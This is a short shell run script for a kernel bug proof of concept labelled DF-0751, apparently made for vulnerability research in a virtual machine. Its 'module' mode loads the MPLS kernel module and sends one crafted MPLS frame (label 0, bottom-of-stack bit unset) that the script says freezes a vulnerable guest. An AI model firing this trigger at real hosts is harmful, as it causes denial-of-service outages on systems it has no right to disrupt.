#!/bin/sh
# DF-0751 run script.
# Usage:
#   ./run.sh             — run the harness (default; unprivileged, deterministic)
#   ./run.sh harness     — same
#   ./run.sh module      — load mpls.ko + fire live trigger (WARNING: wedges guest)
set -e
MODE="${1:-harness}"

case "$MODE" in
harness)
    echo "[DF-0751] running harness (deterministic loop proof)..."
    ./mpls_loop_harness
    ;;
module)
    echo "[DF-0751] LIVE WEDGE — guest will freeze; vm.sh reset to recover"
    echo "[DF-0751] loading mpls.ko..."
    kldload mpls.ko 2>/dev/null || true
    kldstat | grep mpls
    echo "[DF-0751] firing trigger (1 frame: label=0 S=0 TTL=64 on vtnet0)..."
    ./mpls_trigger vtnet0
    echo "[DF-0751] trigger returned; if the kernel is vulnerable the guest is now wedged."
    echo "[DF-0751] try 'ssh dfbsd echo alive' — it will time out."
    ;;
*)
    echo "usage: $0 [harness|module]" >&2
    exit 64
    ;;
esac
